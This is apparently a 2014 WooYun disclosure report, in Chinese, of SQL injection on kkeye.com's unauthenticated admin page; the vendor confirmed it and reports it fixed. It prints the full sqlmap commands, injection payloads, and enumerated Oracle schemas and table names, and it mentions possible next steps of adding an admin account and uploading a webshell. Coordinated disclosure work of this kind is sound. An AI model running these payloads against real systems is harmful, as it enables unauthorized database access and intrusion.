当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060652

漏洞标题:KKeYe开眼数据官网SQL注入漏洞

相关厂商:kkeye.com

漏洞作者: nzk1912

提交时间:2014-05-26 13:57

修复时间:2014-07-10 13:58

公开时间:2014-07-10 13:58

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-26: 细节已通知厂商并且等待厂商处理中
2014-05-27: 厂商已经确认,细节仅向厂商公开
2014-06-06: 细节向核心白帽子及相关领域专家公开
2014-06-16: 细节向普通白帽子公开
2014-06-26: 细节向实习白帽子公开
2014-07-10: 细节向公众公开

简要描述:

乌云帐号得到后,十分珍惜,但也不甘于一直看别人提漏洞。但菜鸟总要经历这个痛苦的过程,每天登录乌云看看别人发现的漏洞,学习下思路,学习下方法,学习下工具。
今天,终于有一个机会展示下学到的一些知识,虽说很简单,但进步总要一步步来。审核不通过没关系,厂商忽略也没关系,不要封我的帐号就好,呵呵~

详细说明:

无意中发现的,官网后台管理地址,有一个页面不需要登录就可以访问

111.JPG


看到参数后的习惯,用sqlmap扫一下吧,果然有惊喜:
测试地址:http://www.kkeye.com/bbacad/downerro.aspx?p=2&jkname=&jkurl=
测试命令:python sqlmap.py -u "http://www.kkeye.com/bbacad/downerro.aspx?jkname=&jkurl=" -p "jkurl" --dbs
测试结果:

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 09:36:18
[09:36:18] [INFO] resuming back-end DBMS 'oracle'
[09:36:19] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: jkurl
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: jkname=&jkurl=%' AND 1726=1726 AND '%'='
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: jkname=&jkurl=%' AND 8447=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||C
HR(113)||CHR(113)||CHR(120)||CHR(111)||CHR(113)||(SELECT (CASE WHEN (8447=8447)
THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(111)||CHR(121)||CHR(114)||CHR(113)|
|CHR(62))) FROM DUAL) AND '%'='
---
[09:36:20] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
[09:36:20] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[09:36:20] [INFO] fetching database (schema) names
[09:36:20] [INFO] the SQL query used returns 16 entries
[09:36:20] [INFO] resumed: CTXSYS
[09:36:20] [INFO] resumed: DBSNMP
[09:36:20] [INFO] resumed: DMSYS
[09:36:20] [INFO] resumed: EXFSYS
[09:36:20] [INFO] resumed: MDSYS
[09:36:20] [INFO] resumed: OLAPSYS
[09:36:20] [INFO] resumed: ORDSYS
[09:36:20] [INFO] resumed: OUTLN
[09:36:20] [INFO] resumed: SCOTT
[09:36:20] [INFO] resumed: SYS
[09:36:20] [INFO] resumed: SYSMAN
[09:36:20] [INFO] resumed: SYSTEM
[09:36:20] [INFO] resumed: TSMSYS
[09:36:20] [INFO] resumed: WEBASP
[09:36:20] [INFO] resumed: WMSYS
[09:36:20] [INFO] resumed: XDB
available databases [16]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WEBASP
[*] WMSYS
[*] XDB


除了oracle自带的几个外,还是几个,WEBASP应该是WEB的后台数据库吧,看一下表名
测试命令:python sqlmap.py -u "http://www.kkeye.com/bbacad/downerro.aspx?jkname=&jkurl=" -p "jkurl" --tables -D "WEBASP"
测试结果:

Database: WEBASP
[150 tables]
+--------------------------+
| PIGDM_IP |
| QUEST_TEMP_EXPLAIN |
| SYS_EXPORT_SCHEMA_01 |
| SYS_EXPORT_SCHEMA_02 |
| SYS_EXPORT_SCHEMA_03 |
| SYS_EXPORT_SCHEMA_04 |
| SYS_EXPORT_SCHEMA_05 |
| SYS_EXPORT_SCHEMA_06 |
| SYS_EXPORT_TABLE_01 |
| TEST |
| T_ADBASEINFO |
| T_ADCLASS |
| T_ADCONCLASS |
| T_ADGUIGE |
| T_ADHOSTCLASS |
| T_ADHOSTINFO |
| T_ADHOSTTMP |
| T_ADHOSTTMP1 |
| T_ADHOSTTMP3 |
| T_ADHOSTTYPE |
| T_ADHOST_AREA_MON |
| T_ADHOST_COST_DAY |
| T_ADHOST_COST_MON |
| T_ADHOST_MEDIA |
| T_ADHOST_MEDIA_PP |
| T_ADHOST_MODI_HISTORY |
| T_ADHOST_PDCNT_COST_MON |
| T_ADHOST_PP |
| T_ADHOST_TO_ADHOST |
| T_ADPD_SCH |
| T_ADRMEDIA_PRICE |
| T_ADSOURCE |
| T_ADSRCINFO |
| T_ADSRCMEDIATOPOS |
| T_ADSTATGGZJ |
| T_ADSTATINFO |
| T_ADSTATINFO_SMALL |
| T_ADSTATINFO_TMP |
| T_AD_FLAG |
| T_ALLRELA |
| T_ALLTRACK_INFO |
| T_ALLWEB_INFO |
| T_AREACLASS |
| T_BLACKLIST |
| T_CAIWU_INFO |
| T_CHANNELCHILD |
| T_CHANNEL_AD_MON |
| T_CLICK_RECORD |
| T_CLICK_RECORD_VALID |
| T_DD_INFO |
| T_DELSRCINFO |
| T_DOWNERRORITEM |
| T_DOWNINFO |
| T_DOWNLOADNAME |
| T_EMAIL_LIST |
| T_EMAIL_MASTERPAGE |
| T_EMAIL_MASTER_CONFIG |
| T_EMAIL_SUM |
| T_EMAIL_URLS |
| T_EXCEL_REPROTNAME |
| T_EXECL_REPORT |
| T_GUANZHUAREANAME |
| T_HISTORY |
| T_IPTOID |
| T_IPTOID_BAK |
| T_IP_AREA |
| T_JJ_COMMEND_KEYWORD_NEW |
| T_JJ_DJ_USERKEYWORD |
| T_JJ_DOWNLOADNAME |
| T_JT_COMPETITOR |
| T_JT_DOWNLOADNAME |
| T_JT_DTS_CURRENT_KEYWORD |
| T_JT_KEYBASEPRICE |
| T_JT_KEYPRICE |
| T_JT_KEYWORD |
| T_JT_KEYWORD_GROUP |
| T_JT_USER |
| T_JT_USERRESINFO |
| T_JT_USERTOUSER |
| T_JT_USER_GROUP |
| T_JT_USER_GROUP_BAK_2 |
| T_KKEYEUSER_HEARTBEAT |
| T_LOGINFO |
| T_MCOSTID |
| T_MEDIACLASS |
| T_MEDIACTRL_SEND |
| T_MEDIAINFO |
| T_MEDIAPHOTO |
| T_MEDIAPRICEINFO |
| T_MEDIARANK |
| T_MEDIA_AD_AREA |
| T_MEDIA_AD_MON |
| T_MEDIA_CON_MON |
| T_MEDIA_WHITELIST |
| T_MEIDA_ADSOURCE |
| T_MODI_RECORD |
| T_MONITORDATA |
| T_MSGBOARD |
| T_MT_COMPARE |
| T_MT_HOST |
| T_MT_HOST_LOST |
| T_MT_HOST_NEW |
| T_MT_SUMMARY |
| T_MT_USER_MEDIA |
| T_NEW_AREACLASS |
| T_PAGEPOS |
| T_PDMEDIA_SCH |
| T_PDNAME |
| T_PICTEXTERRORITEM |
| T_PM_ADLIST |
| T_PM_HISTORY |
| T_PM_MEDIA |
| T_PM_SNAP |
| T_PM_TIME |
| T_PNTMP |
| T_PP2PD |
| T_PPINFO |
| T_PP_CLASS |
| T_PP_CNT |
| T_PP_TYPE |
| T_PRICEITEM |
| T_PRICE_LURU |
| T_PRODUCTINFO |
| T_PROXY_IP |
| T_REPORT_DOWNLOAD_CNT |
| T_SITEID2URL_INFO |
| T_STATISTICAL |
| T_STATISTICAL_EVERYDAY |
| T_SYSTEM_INFO |
| T_TEST_LICF |
| T_TIME |
| T_TRACK_CHANGE |
| T_TRADECLASS |
| T_URL2WORD_INFO |
| T_USERCLASS |
| T_USERMGR |
| T_USERMGR_HH |
| T_USERTRADEATTR |
| T_USER_CUSTOM |
| T_USER_CUSTOM_GROUP |
| T_USER_INFO |
| T_USER_MEDIA |
| T_USER_TRADE |
| T_WIPLIST |
| T_YCINFO |
| T_ZYC1 |
| USERWEB |
| V_RELATION |
| V_RELATION_NEW |
| ZYC_TMP |
+--------------------------+


第一次成功使用sqlmap查看到表名,恭喜自己~
参考其它白帽子的习惯,到此为止,不脱裤,不该看的不看。
貌似后续可以破解或增加一个管理员帐号,然后就可以登录WEB操作了;
再然后传大马,上菜刀getshell,不过这些还没有学会,慢慢来。

漏洞证明:

[09:36:20] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
[09:36:20] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[09:36:20] [INFO] fetching database (schema) names
[09:36:20] [INFO] the SQL query used returns 16 entries
[09:36:20] [INFO] resumed: CTXSYS
[09:36:20] [INFO] resumed: DBSNMP
[09:36:20] [INFO] resumed: DMSYS
[09:36:20] [INFO] resumed: EXFSYS
[09:36:20] [INFO] resumed: MDSYS
[09:36:20] [INFO] resumed: OLAPSYS
[09:36:20] [INFO] resumed: ORDSYS
[09:36:20] [INFO] resumed: OUTLN
[09:36:20] [INFO] resumed: SCOTT
[09:36:20] [INFO] resumed: SYS
[09:36:20] [INFO] resumed: SYSMAN
[09:36:20] [INFO] resumed: SYSTEM
[09:36:20] [INFO] resumed: TSMSYS
[09:36:20] [INFO] resumed: WEBASP
[09:36:20] [INFO] resumed: WMSYS
[09:36:20] [INFO] resumed: XDB
available databases [16]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WEBASP
[*] WMSYS
[*] XDB
Database: WEBASP
[150 tables]
+--------------------------+
| PIGDM_IP |
| QUEST_TEMP_EXPLAIN |
| SYS_EXPORT_SCHEMA_01 |
| SYS_EXPORT_SCHEMA_02 |
| SYS_EXPORT_SCHEMA_03 |
| SYS_EXPORT_SCHEMA_04 |
| SYS_EXPORT_SCHEMA_05 |
| SYS_EXPORT_SCHEMA_06 |
| SYS_EXPORT_TABLE_01 |
| TEST |
| T_ADBASEINFO |
| T_ADCLASS |
| T_ADCONCLASS |
| T_ADGUIGE |
| T_ADHOSTCLASS |
| T_ADHOSTINFO |
| T_ADHOSTTMP |
| T_ADHOSTTMP1 |
| T_ADHOSTTMP3 |
| T_ADHOSTTYPE |
| T_ADHOST_AREA_MON |
| T_ADHOST_COST_DAY |
| T_ADHOST_COST_MON |
| T_ADHOST_MEDIA |
| T_ADHOST_MEDIA_PP |
| T_ADHOST_MODI_HISTORY |
| T_ADHOST_PDCNT_COST_MON |
| T_ADHOST_PP |
| T_ADHOST_TO_ADHOST |
| T_ADPD_SCH |
| T_ADRMEDIA_PRICE |
| T_ADSOURCE |
| T_ADSRCINFO |
| T_ADSRCMEDIATOPOS |
| T_ADSTATGGZJ |
| T_ADSTATINFO |
| T_ADSTATINFO_SMALL |
| T_ADSTATINFO_TMP |
| T_AD_FLAG |
| T_ALLRELA |
| T_ALLTRACK_INFO |
| T_ALLWEB_INFO |
| T_AREACLASS |
| T_BLACKLIST |
| T_CAIWU_INFO |
| T_CHANNELCHILD |
| T_CHANNEL_AD_MON |
| T_CLICK_RECORD |
| T_CLICK_RECORD_VALID |
| T_DD_INFO |
| T_DELSRCINFO |
| T_DOWNERRORITEM |
| T_DOWNINFO |
| T_DOWNLOADNAME |
| T_EMAIL_LIST |
| T_EMAIL_MASTERPAGE |
| T_EMAIL_MASTER_CONFIG |
| T_EMAIL_SUM |
| T_EMAIL_URLS |
| T_EXCEL_REPROTNAME |
| T_EXECL_REPORT |
| T_GUANZHUAREANAME |
| T_HISTORY |
| T_IPTOID |
| T_IPTOID_BAK |
| T_IP_AREA |
| T_JJ_COMMEND_KEYWORD_NEW |
| T_JJ_DJ_USERKEYWORD |
| T_JJ_DOWNLOADNAME |
| T_JT_COMPETITOR |
| T_JT_DOWNLOADNAME |
| T_JT_DTS_CURRENT_KEYWORD |
| T_JT_KEYBASEPRICE |
| T_JT_KEYPRICE |
| T_JT_KEYWORD |
| T_JT_KEYWORD_GROUP |
| T_JT_USER |
| T_JT_USERRESINFO |
| T_JT_USERTOUSER |
| T_JT_USER_GROUP |
| T_JT_USER_GROUP_BAK_2 |
| T_KKEYEUSER_HEARTBEAT |
| T_LOGINFO |
| T_MCOSTID |
| T_MEDIACLASS |
| T_MEDIACTRL_SEND |
| T_MEDIAINFO |
| T_MEDIAPHOTO |
| T_MEDIAPRICEINFO |
| T_MEDIARANK |
| T_MEDIA_AD_AREA |
| T_MEDIA_AD_MON |
| T_MEDIA_CON_MON |
| T_MEDIA_WHITELIST |
| T_MEIDA_ADSOURCE |
| T_MODI_RECORD |
| T_MONITORDATA |
| T_MSGBOARD |
| T_MT_COMPARE |
| T_MT_HOST |
| T_MT_HOST_LOST |
| T_MT_HOST_NEW |
| T_MT_SUMMARY |
| T_MT_USER_MEDIA |
| T_NEW_AREACLASS |
| T_PAGEPOS |
| T_PDMEDIA_SCH |
| T_PDNAME |
| T_PICTEXTERRORITEM |
| T_PM_ADLIST |
| T_PM_HISTORY |
| T_PM_MEDIA |
| T_PM_SNAP |
| T_PM_TIME |
| T_PNTMP |
| T_PP2PD |
| T_PPINFO |
| T_PP_CLASS |
| T_PP_CNT |
| T_PP_TYPE |
| T_PRICEITEM |
| T_PRICE_LURU |
| T_PRODUCTINFO |
| T_PROXY_IP |
| T_REPORT_DOWNLOAD_CNT |
| T_SITEID2URL_INFO |
| T_STATISTICAL |
| T_STATISTICAL_EVERYDAY |
| T_SYSTEM_INFO |
| T_TEST_LICF |
| T_TIME |
| T_TRACK_CHANGE |
| T_TRADECLASS |
| T_URL2WORD_INFO |
| T_USERCLASS |
| T_USERMGR |
| T_USERMGR_HH |
| T_USERTRADEATTR |
| T_USER_CUSTOM |
| T_USER_CUSTOM_GROUP |
| T_USER_INFO |
| T_USER_MEDIA |
| T_USER_TRADE |
| T_WIPLIST |
| T_YCINFO |
| T_ZYC1 |
| USERWEB |
| V_RELATION |
| V_RELATION_NEW |
| ZYC_TMP |
+--------------------------+

修复方案:

程序猿都懂的

版权声明:转载请注明来源 nzk1912@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-05-27 09:21

厂商回复:

感谢nzk1912同学提出的漏洞,目前已经修复,谢谢

最新状态:

暂无


漏洞评价:

评论